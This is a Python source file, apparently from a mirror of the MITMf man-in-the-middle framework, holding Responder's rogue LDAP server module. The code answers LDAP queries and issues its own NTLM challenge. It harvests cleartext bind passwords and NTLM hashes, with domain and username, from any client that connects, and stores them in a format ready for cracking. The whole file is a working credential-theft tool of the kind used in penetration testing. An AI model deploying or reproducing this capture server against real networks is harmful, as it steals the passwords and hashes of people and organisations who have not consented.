mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-06 21:12:16 -07:00
fd9b79c617
directory structure has been simplified by grouping all the poisoners and servers in one folder impacket smb server has been replaced with responder's flask http server has beem replaced with responder's modified config file to support new changes
137 lines
4.4 KiB
Python
137 lines
4.4 KiB
Python
#!/usr/bin/env python
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# This file is part of Responder
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# Original work by Laurent Gaffie - Trustwave Holdings
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#
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import os
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import struct
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import settings
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from SocketServer import BaseRequestHandler
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from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
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from utils import *
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def ParseSearch(data):
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Search1 = re.search('(objectClass)', data)
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Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
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Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
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if Search1:
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return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
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if Search2:
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return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
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if Search3:
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return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
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def ParseLDAPHash(data, client):
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SSPIStart = data[42:]
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LMhashLen = struct.unpack('<H',data[54:56])[0]
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if LMhashLen > 10:
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LMhashOffset = struct.unpack('<H',data[58:60])[0]
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LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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NthashLen = struct.unpack('<H',data[64:66])[0]
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NthashOffset = struct.unpack('<H',data[66:68])[0]
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NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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DomainLen = struct.unpack('<H',data[72:74])[0]
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DomainOffset = struct.unpack('<H',data[74:76])[0]
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Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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UserLen = struct.unpack('<H',data[80:82])[0]
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UserOffset = struct.unpack('<H',data[82:84])[0]
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User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
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WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
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SaveToDb({
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'module': 'LDAP',
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'type': 'NTLMv1',
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'client': client,
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'user': Domain+'\\'+User,
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'hash': NtHash,
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'fullhash': WriteHash,
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})
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if LMhashLen < 2 and settings.Config.Verbose:
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print text("[LDAP] Ignoring anonymous NTLM authentication")
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def ParseNTLM(data,client):
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Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
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Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
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if Search1:
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NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=settings.Config.Challenge)
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NTLMChall.calculate()
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return str(NTLMChall)
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if Search2:
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ParseLDAPHash(data,client)
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def ParseLDAPPacket(data, client):
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if data[1:2] == '\x84':
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PacketLen = struct.unpack('>i',data[2:6])[0]
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MessageSequence = struct.unpack('<b',data[8:9])[0]
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Operation = data[9:10]
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sasl = data[20:21]
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OperationHeadLen = struct.unpack('>i',data[11:15])[0]
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LDAPVersion = struct.unpack('<b',data[17:18])[0]
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if Operation == "\x60":
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UserDomainLen = struct.unpack('<b',data[19:20])[0]
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UserDomain = data[20:20+UserDomainLen]
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AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
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if AuthHeaderType == "\x80":
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PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
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Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
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SaveToDb({
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'module': 'LDAP',
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'type': 'Cleartext',
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'client': client,
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'user': UserDomain,
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'cleartext': Password,
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'fullhash': UserDomain+':'+Password,
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})
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if sasl == "\xA3":
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Buffer = ParseNTLM(data,client)
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return Buffer
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elif Operation == "\x63":
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Buffer = ParseSearch(data)
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return Buffer
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else:
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if settings.Config.Verbose:
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print text('[LDAP] Operation not supported')
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# LDAP Server class
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class LDAP(BaseRequestHandler):
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def handle(self):
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try:
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while True:
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self.request.settimeout(0.5)
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data = self.request.recv(8092)
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Buffer = ParseLDAPPacket(data,self.client_address[0])
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if Buffer:
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self.request.send(Buffer)
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except socket.timeout:
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pass
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